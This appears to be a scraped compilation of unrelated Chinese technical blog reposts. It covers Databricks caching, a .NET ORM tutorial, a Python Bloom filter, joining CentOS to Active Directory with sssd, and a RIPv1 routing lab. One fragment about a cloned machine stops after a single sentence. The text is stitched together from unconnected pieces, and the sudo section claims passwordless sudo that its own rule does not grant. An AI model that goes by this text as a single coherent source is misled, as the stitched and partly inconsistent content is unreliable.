
暂无个人介绍
我们兴奋的宣布Databricks缓存的通用可用性,作为统一分析平台一部分的 Databricks 运行时特性,它可以将Spark工作负载的扫描速度提升10倍,并且这种改变无需任何代码修改。 1、在本博客中,我们将介绍这个新特性的两个主要特点:易用性和性能。 2、不同于Spark显示缓存,Databricks缓存能够自动地为用户缓存热输入数据,并且在集群中负载均衡。利用NVMe SSD硬件的先进性能和最先进的压缩技术,它能够将交互式和报告工作的负载性能提升10倍。更重要的是它缓存的数据量是Spark的缓存数量的30多倍。 Spark显式缓存 Spark中一个关键特性是显式缓存。它是一个多功能的工具,因为它可以用于存放任意计算结果(包括输入和中间结果),以便它们可以重复使用。例如,迭代机器学习算法的实现可以选择缓存特征化数据,并且每次迭代将从内存中读取这些数据。 一种特别重要和广泛使用的方式就是缓存扫描操作的结果。通过这种方式可以避免用户低速率地读取远程数据。因此,许多打算重复运行相同或类似工作量的用户决定花费额外的开发时间来手动优化他们的应用程序,通过指示Spark确切缓存什么文件以及何时进行缓存,从而实现“显式缓存”。 对于Spark缓存有如上功能,它还有一些缺点。首先,把数据保存在主内存中时,它需要占用内存空间,而这些空间能够更好用于其他用途,例如,用于Shuffle或者哈希表。其次,当数据缓存在磁盘,读取需要反序列化--该过程太慢以至于无法充分利用NVMe SSD通常所提供的高读取带宽。 最后,由于需要提前并详细指定需要缓存的数据,这个对于那些想交互地导出数据或者创建报告是一个挑战。虽然Spark缓存提供数据工程师所有调优开关,数据科学经常发现推断这些内存太困难了,特别是在多租户的设置中,工程师仍然需要尽快返回结果以保证迭代时间更短。 NVMe SSD面临的调整 固态硬盘或者SSD已经成为标准存储技术。尽管最初以其随机搜索低延迟闻名,但在过去的几年中,SSD也大幅度提供了读写吞吐量。 NVMe接口创建用于克服SATA和ARCI设计的极限,并且允许最大可能使用现代SSD所提供出色的性能。这包括利用基于闪存存储设置的内部并行性和极低读延迟的能力。NVMe使用多种长命令队列以及其他增强功能,允许驱动器高效处理海量并发请求。这种面向并行的架构完美地补充了现代多核CPU和如Spark数据处理系统的并行线。 通过NVMe接口,SSD比低速磁盘驱动器在属性和性能上更加接近主内存。因此它们是存储缓存数据的理想地方。 然而为完全利用NVMe SSD的潜力,仅仅把远程数据复制到本地存储是远远不够。我们在AWS i3实例所进行的实验表明当从本地SSD读取常用文件格式时,它只是使用一部分可用的I/O带宽。 上图显示了在Spark针对EC2 i3实例类型的本地NVMe SSD的I/O带宽利用率。根据图示,现有数据格式不能充分利用I/O带宽,CPU密集解码速度无法跟上SSD的速度。 自适应运行 当设计Databricks缓存时,我们不仅关注于实现优化的读性能,并且关注于创建一种“自适应运行”的方案,该方案无需用户任何参与。该缓存考虑到: 1、自动选择数据缓存----无论何时访问远程文件时,该数据转码副本会立即存放到缓存中 2、替换长时间未使用的数据----当磁盘空间不足时,缓存自动删除最近最少使用的数据 3、负载均衡----缓存的数据均匀地分发到集群的所有节点上,并且自动扩展和/或调整不同节点不均匀使用情况 4、数据安全----在缓存数据通过同样的方式与临时文件保持加密,例如Shuffle文件 5、数据更新----缓存能够自动发现在远程地方文件的增加和删除,并且显示数据最新的状态 从Databricks运行时3.3以来,在AWS i3实例类型中所有集群都预置并默认启用Databricks内存。由于这种实例类型具有较高的写入吞吐量,数据能够转码并保存在缓存中,而无需降低读取远程数据的查询性能。喜欢选择其他类型工作节点的用户可以使用Spark配置来启用缓存(请参考文档以了解更多细节)。 对于那些需预先缓存所需要数据的用户,我们实现了CACHE SELECT命令。它将提供选择部分数据装载到缓存中。用户可以指定垂直(如:选择列)或者水平(如:满足查询条件的行)切片数据保存在缓存中。 性能 为了充分利用NVMe SSD,不是采取直接缓存输入的“原始数据”,而是新功能会自动将数据转换为高度优化新的临时磁盘缓存格式,该功能提供了出色的解码速度,从而获得了更佳的I/O带宽利用率。这种转码是异步操作,从而把数据加载到缓存的查询开销降低到最小。 增强读取性能(在前面所提到的通常在访问远程数据避免高延迟的能力)导致了各种查询速度取得了显著的提升。例如,在如下TPC-DS查询的子集,相对于从AWS S3读取Parquet数据,我们看到在每个简单查询都取得了持续的改进,并且在查询53中速度有5.7倍的提升。 来自于我们私人测试程序的一些客户工作中,我们看到性能有10倍的提升。 对比Spark缓存和Databricks缓存 Spark缓存和Databricks缓存可以搭配使用,事实上,它们之间相得益彰:Spark缓存提供存储任意中间计算结果数据的能力,而Databricks缓存提供了对输入数据提供自动和出色的性能。 在我们的实验中,Databricks缓存相对于Spark缓存的DISK_ONLY读模式达到了4倍的速度。对比MEMORY_ONLY模式,Databricks缓存仍然提供了3倍的加速,而且还保持了较小的内存占用。 Databricks缓存配置 对于运行Databricks运行时3.3+版本的所欲AWS i3实例类型,对于所有Parquet文件缓存选择默认开启,并且缓存功能也可以与Databricks delta无缝协作。 要在其他Azure或AWS实例类型中使用新缓存,在集群配置中需要设置如下配置参数: 1 spark.databricks.io.cache.enabled true 2 spark.databricks.io.cache.maxDiskUsage "{DISK SPACE PER NODE RESERVED FOR CACHED DATA}" 3 spark.databricks.io.cache.maxMetaDataCache "{DISK SPACE PER NODE RESERVED FOR CACHED METADATA}" 结论 Databricks缓存为Databricks用户提供了大量好处--无论是易用性还是查询性能。它可以与Spark缓存进行混合搭配结合,使用最优的工具来完成任务。随着即将更进一步的性能提升和对其他数据格式的支持,Databricks缓存将成为各种工作负载的主要工具。 将来,我们讲发布更多性能提升和扩展支持其他文件格式的功能。 要尝试此新功能,请立即在我们统一分析平台选择一个i3实例类型的集群。 本文翻译原文地址 https://databricks.com/blog/2018/01/09/databricks-cache-boosts-apache-spark-performance.html 如果转载请注明来自 http://www.cnblogs.com/shishanyuan/p/8414582.html 本文转自shishanyuan博客园博客,原文链接: http://www.cnblogs.com/shishanyuan/p/8414582.html,如需转载请自行联系原作者
今天从另外的系统克隆过来一台机器,但启动时候报错: 本文转自chenzudao51CTO博客,原文链接:http://blog.51cto.com/victor2016/1895308 ,如需转载请自行联系原作者
发布日期: 6/30/2005 | 更新日期: 6/30/2005 作者:林学鹏 ORM的全称是Object Relational Mapping,即对象关系映射。它的实质就是将关系数据(库)中的业务数据用对象的形式表示出来,并通过面向对象(Object-Oriented)的方式将这些对象组织起来,实现系统业务逻辑的过程。在ORM过程中最重要的概念是映射(Mapping),通过这种映射可以使业务对象与数据库分离。从面向对象来说,数据库不应该和业务逻辑绑定到一起,ORM则起到这样的分离作用,使数据库层透明,开发人员真正的面向对象。图 1简单说明了ORM在多层系统架构中的这个作用。 图1:ORM在多层系统架构中的作用 目前大多数项目或产品都使用关系型数据库实现业务数据的存储,这样在开发过程中,常常有一些业务逻辑需要直接用写SQL语句实现,但这样开发的结果是:遍地布满SQL语句。这些高藕合的SQL语句给系统的改造和升级带来很多无法预计的障碍。为了提高项目的灵活性,特别是快速开发,ORM是一个不错的选择。举个简单的例子:在使用ORM的系统中,当数据库模型改变时,不再需要理会逻辑代码和SQL语句中涉及到该模型的所有改动,只需要将该模型映射的对象稍作改动,甚至不做改动就可以满足要求。 本页内容 一、ORM的工具实现:Grove 二、Grove在开发中的实际应用 三、总结 一、ORM的工具实现:Grove 优秀的ORM工具不仅可以帮助我们很好的理解对象及对象的关系,而且工具本身会帮助我们维护这些关系。基于这个理念,我设计了基于.NET的ORM工具——Grove ORM Development Toolkit。 Grove ORM Development Toolkit包含Grove和Toolkit两部分内容。Grove为ORM提供对象持久、关系对象查询、简单事务处理、简单异常管理等功能。数据持久包括一些对象的Insert、Delete、Update、Retrieve等功能,关系对象查询则提供一些基于对象的复杂关系查询,包括对应到数据库功能的子查询、关联查询(JOIN)、函数支持(count、avg、max、min)、聚合等。Toolkit是基于VS.NET 2002/2003的VSIP开发的外接程序,职责是帮助开发人员快速映射关系数据库中的业务模型到符合Grove要求的映射实体类,以及映射数据库中复杂关系查询到Grove要求的关系映射实体,暂时只提供C#支持。图 2是Grove内部类实现关系图。 图 2: Grove内部类实现关系图 在ORM实现的前期工作中,为了实现屏蔽各种数据库之间的操作差异,我们需要定义数据操作公有接口,封装基本的数据库Insert,Update,Delete,Query等操作。 public interface IDbOperator { int ExecNonQuery(string cmdText); int ExecDataSet(string cmdText,DataSet entity); object ExecScalar(string cmdText); … } 再定义一个数据库操作工厂类,实现各种不同类型数据的适配。 public abstract class DbOperatorFactory:IDbOperator 然后实现各种数据库的操作类,以SQLServer为例。 internal class SqlDbOperator:DbOperatorFactory 完成后,就是ORM主角——实体(Entity)的实现。ORM中实体的定义可以通过实体类自身包含数据模型元数据的方式实现,也可以通过定义XML的元描述实现。下面讲述了通过实体类自身映射的实现。 实体(Entity)是实际业务数据的载体,包含业务数据模型的元描述,可以直接由数据库中的某张表或视图生成,也可以根据需要手工创建。.NET中提供了System.Attribute,该类包含访问和测试自定义属性的简便方法。.NET Framework预定义了一些属性类型并使用它们控制运行时行为。我们可以通过继承System.Attribute基类自定义用于描述实体对象映射时所需要的数据模型元数据,包括表名,字段名,字段长度,字段类型等一些常用的数据。 [AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct)] public class DataTableAttribute : Attribute AttributeUsage用来表示该自定义属性可以被绑定在什么样的对象上,这里表示应用在Class或者Struct之上。 抽象一些具有相同特征的属性,使之成为自定义属性的基类。 [AttributeUsage(AttributeTargets.Property)] public class BaseFieldAttribute:Attribute 定义一般字段所需要的自定义属性类。 [AttributeUsage(AttributeTargets.Property)] public class DataFieldAttribute : BaseFieldAttribute 定义关键字字段所需的自定义属性类。 [AttributeUsage(AttributeTargets.Property)] public class KeyFieldAttribute : BaseFieldAttribute 定义外键字段所需要的自定义属性类。 [AttributeUsage(AttributeTargets.Property)] public class ForeignKeyFieldAttribute : BaseFieldAttribute 在以上自定义属性类完成后,我们需要一个用于访问实体在运行期绑定的自定义属性及属性数据的一个Help类。 internal class TypeHelper 实体定义完成后,我们需要根据实体类中绑定的自定义属性构造出运行期需要的SQL语句,为了收集实体类定义中的数据结构描述,我们需要定义一个类来说明实体在运行期所引用到的所有关于数据持久的信息,包括关键字字段,外键字段,一般字段等。 internal class TypeInfo 同时需要一个字段元数据描述类,描述字段在数据库中的名称,大小,是否可为空,列类型等信息。 internal class ColumnInfo 以上条件具备后,我们需要定义一个解析类,负责转换数据的程序类型到数据库字段类型,并且构造出Insert,Update,Delete,Query等操作所需要的SQL语句。 internal class SqlEntityParser 将上面的操作组合起来就是实体类对象操作员。 public class ObjectOperator 实现新增一个记录到数据库中,就是创建了一个新的实体对象,并交由对象操作员进行持久化。 public void Insert(object o) { TypeInfo info1=new TypeInfo(o.GetType());//根据实例或者实体描述信息 SQLCommand sc=info1.BuildInsertCommand(o);//构造SQL命令对象 DbOperator.Parameters=sc.Parameters;//赋值SQL命令所需的参数 DbOperator.ExecNonQuery(sc.CommandText);//执行SQL命令 } 这里的SQLCommand对象封装了SQL命令处理时所需要的一些值,包含SQL语句,命令参数(Parameter)等。 返回页首 二、Grove在开发中的实际应用 安装Grove Kit要求Visual Studio 2003 及.NET Framework 1.1支持。从Grove网站下载安装包之后,解压缩GroveKit.zip,执行安装。 在GroveKit安装结束后,打开VS.NET,在VS.NET的启动画面上,您会看到Grove Develop Kit的标志,表示GroveKit已被正确安装。 2.1生成映射实体类 本文将以C# 项目为例解释Grove在开发中的具体应用。项目名WebApp1,操作系统 Windows 2000,数据库SQL Server 2000,数据库实例名:WebApp1,表结构定义如下: 表名 字段 Customers CustomerID int(4) PK CustomerName varchar(50) CustomerDesc varchar(200) Status tinyint Addresses AddressID int(4) PK CustomerID int(4) FK Address varchar(200) 1. 在VS.NET中,打开“文件->新建->项目”,在Visual C#项目选择ASP.NET WEB应用程序,确定后生成WebApp1项目,在项目中添加对Grove.dll的引用,Grove.dll位于GroveKit的安装路径下,您也可以通过.NET Configuration将Grove添加到程序集缓存中。 2. 在VS.NET中,打开“工具->Grove Tool Kit”,在GroveToolKit中设置数据库连接属性,并保存。 图3 设置数据库连接串 3. 配置当前Web项目的web.config(在</configuration>之前加入以下配置) <appSettings> <add key="DBConnString" value="Server=localhost;Uid=sa;Pwd=sa;Database=WebApp1" /> </appSettings> 4. 4)在VS.NET解决方案资源管理器中选中Entities,并在GroveToolKit中选择表名,点击GroveToolKit的toolbar中的Preview Entity Class按钮,出现该表的实体映射类预览窗口。 图4 预览实体映射类 5. 检查当前预览的实体类,点击生成文件按钮,该实体类将被生成到解决方案资源管理器当前选中的路径下。 6. 重复4,5步骤就可以生成其他表的映射实体类。 Customer.cs using System; using Grove.ORM; [DataTable("Customers")] public class Customer { int _CustomerID; string _CustomerName; string _CustomerDesc; int _Status; [KeyField("CustomerID")] public int CustomerID { get{return this._CustomerID;} set{this._CustomerID=value;} } [DataField("CustomerName")] public string CustomerName { get{return this._CustomerName;} set{this._CustomerName=value;} } [DataField("CustomerDesc")] public string CustomerDesc { get{return this._CustomerDesc;} set{this._CustomerDesc=value;} } [DataField("Status")] public int Status { get{return this._ Status;} set{this._ Status=value;} } } Address.cs using System; using Grove.ORM; [DataTable("Addresses")] public class Address { int _AddressID; int _CustomerID; string _Address; [KeyField("AddressID")] public int AddressID { get{return this._AddressID;} set{this._AddressID=value;} } [ForeignKeyField("CustomerID")] public int CustomerID { get{return this._CustomerID;} set{this._CustomerID=value;} } [DataField("Address")] public string CustomerAddress { get{return this._Address;} set{this._Address=value;} } } 代码1.实体映射类 2.2对象持久化 Grove提供ObjectOperator实现对映射实体对象的数据库持久工作,并通过IObjectQuery接口实现对复杂数据库关系映射实体的查询,主要接口如下: 方法 说明 Insert 新增一个对象 Update 根据条件更新一个对象 Remove 根据条件删除一个对象 RemoveChilds 删除所有关系对象 Retrieve 返回一个对象 RetrieveChilds 返回所有关系对象 GetDataReader 返回IDataReader GetObjectSet 返回对象集合 GetObjectSource 根据对象定义返回DataSet GetCount 从数据源返回记录条数 BeginTranscation 在数据库支持事务的基础上,开始事务处理 Commit 完成当前事务 Rollback 回退当前事务 2.3数据查询 如一般的关系型数据库所具有的查询功能一样,Grove也有着非常丰富的查询功能,如对象查询、函数查询、子查询、排序查询等。这里对对象查询做简单介绍,其它查询读者可以自行参考Grove的开发文档。Grove提供ObjectQuery 帮助ObjectOperator从数据源查询数据, ObjectOperator 需要通过ObjectQuery解析实体对象中的属性(System.Arrtibute)定义,并构造查询语句。ObjectQuery在运行时往往需要定义筛选语句(请参考筛选语句的语法定义)。例如,检索Customer对象,当State 属性等于WA的情况: ObjectQuery query=new ObjectQuery(typeof(Customer),"this.State='WA'"); 当检索需要返回所有对象时,则不需要定义筛选语句 ObjectQuery query=new ObjectQuery(typeof(Customer),""); 2.4筛选语句的语法定义 在ObjectQuery中使用的筛选允许你在定义的时候,根据使用面向对象语法规则进行定义筛选语句。 操作 描述 !, not 用于比较布尔型,例如: !Order.CustomerID.Contains(Customer.CustomerID) <, >, <= , >= 用于值比较,例如: Order.Quantity >= 12 =, !=, <>, = = 用于值判断,例如: Customer.Country = 'USA' and Customer.Region != 'WA' and, && 用于逻辑判断,例如: Customer.Country = 'USA' and Customer.Region = 'WA' or, || 用于逻辑判断,例如: Customer.LastName = 'Smith' or Customer.LastName = 'Jones' 返回页首 三、总结 以上就是ORM的简单实现,复杂的关系对象映射及关系映射实体的查询也是ORM中尤为重要的一块处理,为了屏蔽各数据库之间的SQL差异,很多好的ORM框架都提供一种符合面向对象语言本身语法规则的Query Language支持,例如实现对数据库函数的支持时,会通过定义一些公开的,与编程语言接近的语言来实现,比如说定义Object.Size(),Object.Sum()等类方法式操作语法,在逻辑判断的时候提供一些语言本身的逻辑运算符支持,比如c#中的&&表示and,||表示or等等这些一系列的面向对象编程风格的支持,都很好地为基于关系型数据库支持的系统开发向“面向对象”提供了有力的支持。Grove目前对关系对象查询有很好的支持,感兴趣可以到Grove的网站了解详细信息。 注:关于Grove的详细信息和安装包,支持站点已经提供了一些相关帮助和下载。http://grove.91link.com 本文转自BearRui(AK-47)博客园博客,原文链接: http://www.cnblogs.com/BearsTaR/archive/2006/05/24/Grove.html ,如需转载请自行联系原作者
什么情况下需要布隆过滤器? 先来看几个比较常见的例子 字处理软件中,需要检查一个英语单词是否拼写正确 在 FBI,一个嫌疑人的名字是否已经在嫌疑名单上 在网络爬虫里,一个网址是否被访问过 yahoo, gmail等邮箱垃圾邮件过滤功能 这几个例子有一个共同的特点: 如何判断一个元素是否存在一个集合中? 常规思路 数组 链表 树、平衡二叉树、Trie Map (红黑树) 哈希表 虽然上面描述的这几种数据结构配合常见的排序、二分搜索可以快速高效的处理绝大部分判断元素是否存在集合中的需求。但是当集合里面的元素数量足够大,如果有500万条记录甚至1亿条记录呢?这个时候常规的数据结构的问题就凸显出来了。数组、链表、树等数据结构会存储元素的内容,一旦数据量过大,消耗的内存也会呈现线性增长,最终达到瓶颈。有的同学可能会问,哈希表不是效率很高吗?查询效率可以达到O(1)。但是哈希表需要消耗的内存依然很高。使用哈希表存储一亿 个垃圾 email 地址的消耗?哈希表的做法:首先,哈希函数将一个email地址映射成8字节信息指纹;考虑到哈希表存储效率通常小于50%(哈希冲突);因此消耗的内存:8 * 2 * 1亿 字节 = 1.6G 内存,普通计算机是无法提供如此大的内存。这个时候,布隆过滤器(Bloom Filter)就应运而生。在继续介绍布隆过滤器的原理时,先讲解下关于哈希函数的预备知识。 哈希函数 哈希函数的概念是:将任意大小的数据转换成特定大小的数据的函数,转换后的数据称为哈希值或哈希编码。下面是一幅示意图: 可以明显的看到,原始数据经过哈希函数的映射后称为了一个个的哈希编码,数据得到压缩。哈希函数是实现哈希表和布隆过滤器的基础。 布隆过滤器介绍 巴顿.布隆于一九七零年提出 一个很长的二进制向量 (位数组) 一系列随机函数 (哈希) 空间效率和查询效率高 有一定的误判率(哈希表是精确匹配) 布隆过滤器原理 布隆过滤器(Bloom Filter)的核心实现是一个超大的位数组和几个哈希函数。假设位数组的长度为m,哈希函数的个数为k 以上图为例,具体的操作流程:假设集合里面有3个元素{x, y, z},哈希函数的个数为3。首先将位数组进行初始化,将里面每个位都设置位0。对于集合里面的每一个元素,将元素依次通过3个哈希函数进行映射,每次映射都会产生一个哈希值,这个值对应位数组上面的一个点,然后将位数组对应的位置标记为1。查询W元素是否存在集合中的时候,同样的方法将W通过哈希映射到位数组上的3个点。如果3个点的其中有一个点不为1,则可以判断该元素一定不存在集合中。反之,如果3个点都为1,则该元素可能存在集合中。注意:此处不能判断该元素是否一定存在集合中,可能存在一定的误判率。可以从图中可以看到:假设某个元素通过映射对应下标为4,5,6这3个点。虽然这3个点都为1,但是很明显这3个点是不同元素经过哈希得到的位置,因此这种情况说明元素虽然不在集合中,也可能对应的都是1,这是误判率存在的原因。 布隆过滤器添加元素 将要添加的元素给k个哈希函数 得到对应于位数组上的k个位置 将这k个位置设为1 布隆过滤器查询元素 将要查询的元素给k个哈希函数 得到对应于位数组上的k个位置 如果k个位置有一个为0,则肯定不在集合中 如果k个位置全部为1,则可能在集合中 布隆过滤器实现 下面给出python的实现,使用murmurhash算法 import mmh3from bitarray import bitarray# zhihu_crawler.bloom_filter# Implement a simple bloom filter with murmurhash algorithm.# Bloom filter is used to check wether an element exists in a collection, and it has a good performance in big data situation.# It may has positive rate depend on hash functions and elements count.BIT_SIZE = 5000000class BloomFilter: def __init__(self): # Initialize bloom filter, set size and all bits to 0 bit_array = bitarray(BIT_SIZE) bit_array.setall(0) self.bit_array = bit_array def add(self, url): # Add a url, and set points in bitarray to 1 (Points count is equal to hash funcs count.) # Here use 7 hash functions. point_list = self.get_postions(url) for b in point_list: self.bit_array[b] = 1 def contains(self, url): # Check if a url is in a collection point_list = self.get_postions(url) result = True for b in point_list: result = result and self.bit_array[b] return result def get_postions(self, url): # Get points positions in bit vector. point1 = mmh3.hash(url, 41) % BIT_SIZE point2 = mmh3.hash(url, 42) % BIT_SIZE point3 = mmh3.hash(url, 43) % BIT_SIZE point4 = mmh3.hash(url, 44) % BIT_SIZE point5 = mmh3.hash(url, 45) % BIT_SIZE point6 = mmh3.hash(url, 46) % BIT_SIZE point7 = mmh3.hash(url, 47) % BIT_SIZE return [point1, point2, point3, point4, point5, point6, point7] 本文转自xsster51CTO博客,原文链接:http://blog.51cto.com/12945177/1932211 ,如需转载请自行联系原作者
https://www.jianshu.com/p/ecfc5a8c4237 AD1.xxx.corp: 是贵司Windows AD上xxx.corp这个域的全局主域控制器 LoginNO: 是贵司AD域xxx.corp中一个组 admin.win: 是贵司AD域xxx.corp中的一个具有管理员权限的用户 Daha.Ma: 是贵司AD域xxx.corp中的一个普通用户 SudoNO: 是贵司AD域xxx.corp中一个组 xxx.corp: 是贵司Windows AD上的主域名 组名: linux_group@ecwise.local 192.168.3.81 centos7: yum -y install realmd sssd oddjob \ oddjob-mkhomedir adcli samba-common; realm join ad1.xxx.corp -U admin.win; # 这里需要输入admin.win的密码 realm permit -g LoginNO@xxx.corp; #这里以允许LoginNO组为例 visudo 添加这么一句: %SudoNO@xxx.corp ALL=(ALL) ALL sssd.conf vim /etc/sssd/sssd.conf 修改两句如下: use_fully_qualified_names = False fallback_homedir = /home/%u 重启服务 systemctl restart sssd; centos6: yum -y install sssd oddjob oddjob-mkhomedir adcli samba-common authconfig; adcli join ecwise.local -U sql01_admin; # 这里需要输入密码 authconfig --enablesssd --enablesssdauth --enablemkhomedir --enablekrb5 --update; yum install pam_krb5 service messagebus start; chkconfig messagebus on; service oddjobd start; chkconfig oddjob on; # addjob用来自动建立用户的家目录 krb5.conf vim /etc/krb5.conf 使得看起来像这样: [logging] default = FILE:/var/log/krb5libs.log kdc = FILE:/var/log/krb5kdc.log admin_server = FILE:/var/log/kadmind.log [libdefaults] default_realm = xxx.corp dns_lookup_realm = true dns_lookup_kdc = true ticket_lifetime = 24h renew_lifetime = 7d forwardable = true [realms] xxx.corp = { kdc = AD1.xxx.corp admin_server = AD1.xxx.corp } [domain_realm] .example.com = xxx.corp example.com = xxx.corp sssd.conf vim /etc/sssd/sssd.conf 修改内容如下: [sssd] services = nss, pam, ssh, autofs config_file_version = 2 domains = xxx.corp [domain/xxx.corp] id_provider = ad fallback_homedir = /home/%u shell_fallback = /bin/bash override_shell = /bin/bash default_shell = /bin/bash access_provider = simple simple_allow_groups = LoginNO simple_allow_users = Daha.Ma chmod 600 sssd.conf sudoer visudo 添加这么一句: %SudoNO@xxx.corp ALL=(ALL) ALL 现在的情况将是: 除了LoginNO组和Daha.Ma以外其他域账号不能登录 SudoNO组可以不用密码通过sudo执行任何命令 重启服务 systemctl restart sssd; 维护命令 id Daha.Ma@xxx.corp; # 从AD中获取域用户信息 id Daha.Ma; # 在/etc/sssh/sssd.conf中设置了use_fully_qualified_names为False的可以直接用 adcli delete-computer --domain=xxx.corp -U admin.win ; # 退出AD域 常见问题: 不能加入域 1.当前面adcli join xxxxxx时如果出错: adcli: GSSAPI Error: Unspecified GSS failure. Minor code may provide more information (Server not found in Kerberos database) 的话,请尝试修改/etc/krb5.conf,在[libdefaults]这个区块下加一句: rdns = false 然后重新再试,即可。 使用id查不到用户,那么在此加下域: adcli join ecwise.local -U sql01_admin; # 这里需要输入密码 验证不通过: Key version number for principal in key table is incorrect [root@CDDevLnxVM03 etc]# klist -k Keytab name: FILE:/etc/krb5.keytab KVNO Principal 2 CDDEVLNXVM03$@ECWISE.LOCAL 2 CDDEVLNXVM03$@ECWISE.LOCAL 2 CDDEVLNXVM03$@ECWISE.LOCAL 2 CDDEVLNXVM03$@ECWISE.LOCAL 2 CDDEVLNXVM03$@ECWISE.LOCAL 2 CDDEVLNXVM03$@ECWISE.LOCAL 2 host/CDDEVLNXVM03@ECWISE.LOCAL 2 host/CDDEVLNXVM03@ECWISE.LOCAL 2 host/CDDEVLNXVM03@ECWISE.LOCAL 2 host/CDDEVLNXVM03@ECWISE.LOCAL 2 host/CDDEVLNXVM03@ECWISE.LOCAL 2 host/CDDEVLNXVM03@ECWISE.LOCAL 2 host/CDDevLnxVM03.ecwise.local@ECWISE.LOCAL 2 host/CDDevLnxVM03.ecwise.local@ECWISE.LOCAL 2 host/CDDevLnxVM03.ecwise.local@ECWISE.LOCAL 2 host/CDDevLnxVM03.ecwise.local@ECWISE.LOCAL 2 host/CDDevLnxVM03.ecwise.local@ECWISE.LOCAL 2 host/CDDevLnxVM03.ecwise.local@ECWISE.LOCAL 2 RestrictedKrbHost/CDDEVLNXVM03@ECWISE.LOCAL 2 RestrictedKrbHost/CDDEVLNXVM03@ECWISE.LOCAL 2 RestrictedKrbHost/CDDEVLNXVM03@ECWISE.LOCAL 2 RestrictedKrbHost/CDDEVLNXVM03@ECWISE.LOCAL 2 RestrictedKrbHost/CDDEVLNXVM03@ECWISE.LOCAL 2 RestrictedKrbHost/CDDEVLNXVM03@ECWISE.LOCAL 2 RestrictedKrbHost/CDDevLnxVM03.ecwise.local@ECWISE.LOCAL 2 RestrictedKrbHost/CDDevLnxVM03.ecwise.local@ECWISE.LOCAL 2 RestrictedKrbHost/CDDevLnxVM03.ecwise.local@ECWISE.LOCAL 2 RestrictedKrbHost/CDDevLnxVM03.ecwise.local@ECWISE.LOCAL 2 RestrictedKrbHost/CDDevLnxVM03.ecwise.local@ECWISE.LOCAL 2 RestrictedKrbHost/CDDevLnxVM03.ecwise.local@ECWISE.LOCAL 在次加域,然后仍然输入密码无法登陆,这次提示如下: Access denied for user zdchen by PAM account configuration 然后注释掉这两个文件 system-auth/password-auth-ac的pam_krb5.so模块认证即可 本文转自chenzudao51CTO博客,原文链接:http://blog.51cto.com/victor2016/2054880 ,如需转载请自行联系原作者
RIP实验,验证RIPv1有类别更新是否是采用接口的子网掩码为更新的子网掩码,验证方法:用3台路由器,起RIPv1,然后使用接口IP:r2:f0/0192.168.1.1/29r1:s1/0192.168.1.9/29r2:s1/0192.168.1.10/29r1:s1/1192.168.1.17/29r3:s1/0192.168.1.18/29r4:f0/0192.168.1.24/29按照上面的连接和IP地址配置每台路由器,然后启用RIPv1协议。然后在每台路由器上show ip route查看路由表。R2#show ip routeCodes: C - connected, S - static, R - RIP, M - mobile, B - BGP D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2 E1 - OSPF external type 1, E2 - OSPF external type 2 i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2 ia - IS-IS inter area, * - candidate default, U - per-user static route o - ODR, P - periodic downloaded static routeGateway of last resort is not set 192.168.1.0/29 is subnetted, 4 subnetsC 192.168.1.8 is directly connected, Serial1/0C 192.168.1.0 is directly connected, Ethernet0/0R 192.168.1.24 [120/2] via 192.168.1.9, 00:00:02, Serial1/0R 192.168.1.16 [120/1] via 192.168.1.9, 00:00:02, Serial1/0R1#show ip routeCodes: C - connected, S - static, R - RIP, M - mobile, B - BGP D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2 E1 - OSPF external type 1, E2 - OSPF external type 2 i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2 ia - IS-IS inter area, * - candidate default, U - per-user static route o - ODR, P - periodic downloaded static routeGateway of last resort is not set 192.168.1.0/29 is subnetted, 4 subnetsC 192.168.1.8 is directly connected, Serial1/0 R 192.168.1.0 [120/1] via 192.168.1.10, 00:00:22, Serial1/0 R 192.168.1.24 [120/1] via 192.168.1.18, 00:00:21, Serial1/1C 192.168.1.16 is directly connected, Serial1/1 R3#show ip route Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2 E1 - OSPF external type 1, E2 - OSPF external type 2 i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2 ia - IS-IS inter area, * - candidate default, U - per-user static route o - ODR, P - periodic downloaded static route Gateway of last resort is not set 192.168.1.0/29 is subnetted, 4 subnetsR 192.168.1.8 [120/1] via 192.168.1.17, 00:00:12, Serial1/0R 192.168.1.0 [120/2] via 192.168.1.17, 00:00:12, Serial1/0 C 192.168.1.24 is directly connected, Ethernet0/0 C 192.168.1.16 is directly connected, Serial1/0 可以看到,每台路由器从rip学到的路由的掩码都是29位,再看一下r2的debug信息。 R2#debug ip rip RIP protocol debugging is on R2# *Mar 1 00:02:32.655: RIP: sending v1 update to 255.255.255.255 via Serial1/0 (192.168.1.10) *Mar 1 00:02:32.655: RIP: build update entries *Mar 1 00:02:32.655: subnet 192.168.1.0 metric 1 *Mar 1 00:02:35.003: RIP: received v1 update from 192.168.1.9 on Serial1/0 *Mar 1 00:02:35.003: 192.168.1.16 in 1 hops *Mar 1 00:02:35.007: 192.168.1.24 in 2 hops *Mar 1 00:02:36.499: RIP: sending v1 update to 255.255.255.255 via Ethernet0/0 (192.168.1.1) *Mar 1 00:02:36.499: RIP: build update entries *Mar 1 00:02:36.499: subnet 192.168.1.8 metric 1 *Mar 1 00:02:36.499: subnet 192.168.1.16 metric 2 *Mar 1 00:02:36.503: subnet 192.168.1.24 metric 3 同样也是以/29位掩码的路由信息学习和向外更新。。。。 还有R1的show ip rip database信息:R1#show ip rip database 192.168.1.0/24 auto-summary192.168.1.0/29 [1] via 192.168.1.10, 00:00:04, Serial1/0192.168.1.8/29 directly connected, Serial1/0192.168.1.16/29 directly connected, Serial1/1192.168.1.24/29 [1] via 192.168.1.18, 00:00:02, Serial1/1 通过这个实验,可以让我们从原来RIPv1更新的路由只会采用默认的掩码的误区中走出来,有类路由是先根据默认掩码生成rip database,然后向外更新的时候会与接口的掩码进行最长匹配原则,然后用计算出来的那个掩码为更新时候所用的掩码。。。。 本文转自loveme2351CTO博客,原文链接:http://blog.51cto.com/loveme23/42961 ,如需转载请自行联系原作者
